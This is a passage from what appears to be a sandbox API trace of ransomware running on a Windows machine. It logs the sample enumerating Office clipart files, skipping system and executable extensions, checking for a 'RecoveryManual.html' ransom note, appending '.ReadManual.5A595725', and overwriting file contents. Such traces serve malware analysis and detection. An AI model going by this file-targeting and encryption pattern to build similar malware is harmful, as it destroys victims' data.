Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.099] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=15708) returned 1 [0271.099] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d5c, lpName=0x0) returned 0x184 [0271.099] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.100] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.100] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.110] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.110] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d5c) returned 0x2f0000 [0271.110] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.110] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39177902708) returned 1 [0271.110] CloseHandle (hObject=0x184) returned 1 [0271.110] SetSecurityInfo () returned 0x57 [0271.110] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.110] CloseHandle (hObject=0x194) returned 1 [0271.111] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f647900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f647900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00049_.WMF", cAlternateFileName="")) returned 1 [0271.111] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00049_.WMF" | out: lpString1="PE00049_.WMF") returned="PE00049_.WMF" [0271.111] lstrcmpiW (lpString1="PE00049_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.111] StrStrIW (lpFirst="PE00049_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.111] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.111] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.111] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.111] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.111] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.111] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.111] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.111] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.111] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.111] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.111] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.111] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.111] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.111] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.111] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF" [0271.111] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF.ReadManual.5A595725" [0271.111] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF.ReadManual.5A595725") returned 87 [0271.111] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39177997013) returned 1 [0271.111] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf")) returned 0x20 [0271.111] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.112] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16448) returned 1 [0271.112] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4040, lpName=0x0) returned 0x184 [0271.112] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.113] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.113] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.115] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.115] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4040) returned 0x2f0000 [0271.115] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.115] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39178616960) returned 1 [0271.117] CloseHandle (hObject=0x184) returned 1 [0271.118] SetSecurityInfo () returned 0x57 [0271.118] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.118] CloseHandle (hObject=0x194) returned 1 [0271.118] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e334c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e334c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x4d18, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00050_.WMF", cAlternateFileName="")) returned 1 [0271.118] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00050_.WMF" | out: lpString1="PE00050_.WMF") returned="PE00050_.WMF" [0271.118] lstrcmpiW (lpString1="PE00050_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.118] StrStrIW (lpFirst="PE00050_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.118] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.118] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.118] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.118] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.118] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.118] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.118] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.118] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.118] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.118] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.118] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.118] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.118] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.118] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.118] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF" [0271.118] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF.ReadManual.5A595725" [0271.118] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF.ReadManual.5A595725") returned 87 [0271.119] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39178729799) returned 1 [0271.119] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf")) returned 0x20 [0271.119] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.119] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=19736) returned 1 [0271.119] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4d18, lpName=0x0) returned 0x184 [0271.119] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.120] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.120] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.122] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.122] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4d18) returned 0x2f0000 [0271.122] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.122] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39179100363) returned 1 [0271.122] CloseHandle (hObject=0x184) returned 1 [0271.122] SetSecurityInfo () returned 0x57 [0271.122] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.122] CloseHandle (hObject=0x194) returned 1 [0271.123] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d021f00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d021f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x47ec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00052_.WMF", cAlternateFileName="")) returned 1 [0271.123] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00052_.WMF" | out: lpString1="PE00052_.WMF") returned="PE00052_.WMF" [0271.123] lstrcmpiW (lpString1="PE00052_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.123] StrStrIW (lpFirst="PE00052_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.123] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.123] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.123] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.123] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.123] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.123] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.123] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.123] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.123] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.123] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.123] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.123] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.123] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.123] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.123] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF" [0271.123] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF.ReadManual.5A595725" [0271.123] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF.ReadManual.5A595725") returned 87 [0271.123] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39179191554) returned 1 [0271.123] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf")) returned 0x20 [0271.123] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.124] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=18412) returned 1 [0271.124] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x47ec, lpName=0x0) returned 0x184 [0271.124] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.124] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.125] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.126] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.126] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x47ec) returned 0x2f0000 [0271.126] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.127] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39179533477) returned 1 [0271.127] CloseHandle (hObject=0x184) returned 1 [0271.127] SetSecurityInfo () returned 0x57 [0271.127] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.127] CloseHandle (hObject=0x194) returned 1 [0271.127] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00231_.WMF", cAlternateFileName="")) returned 1 [0271.127] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00231_.WMF" | out: lpString1="PE00231_.WMF") returned="PE00231_.WMF" [0271.127] lstrcmpiW (lpString1="PE00231_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.127] StrStrIW (lpFirst="PE00231_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.127] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.127] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.127] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.127] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.127] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.127] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.127] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.127] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.127] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.127] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.127] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.127] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.127] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.127] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.127] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF" [0271.127] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF.ReadManual.5A595725" [0271.127] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF.ReadManual.5A595725") returned 87 [0271.127] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39179623776) returned 1 [0271.128] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf")) returned 0x20 [0271.128] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.128] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2228) returned 1 [0271.128] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8b4, lpName=0x0) returned 0x184 [0271.128] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.129] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.129] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.131] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.131] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8b4) returned 0x2f0000 [0271.131] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.131] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39179961297) returned 1 [0271.131] CloseHandle (hObject=0x184) returned 1 [0271.131] SetSecurityInfo () returned 0x57 [0271.131] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.131] CloseHandle (hObject=0x194) returned 1 [0271.131] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaf4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00272_.WMF", cAlternateFileName="")) returned 1 [0271.131] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00272_.WMF" | out: lpString1="PE00272_.WMF") returned="PE00272_.WMF" [0271.131] lstrcmpiW (lpString1="PE00272_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.131] StrStrIW (lpFirst="PE00272_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.131] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.131] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.131] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.131] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.131] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.131] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.131] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.131] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.131] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.132] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.132] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.132] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.132] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.132] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.132] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF" [0271.132] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF.ReadManual.5A595725" [0271.132] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF.ReadManual.5A595725") returned 87 [0271.132] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39180051666) returned 1 [0271.132] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf")) returned 0x20 [0271.133] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.133] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2804) returned 1 [0271.133] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaf4, lpName=0x0) returned 0x184 [0271.133] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.134] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.134] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.136] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.136] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, 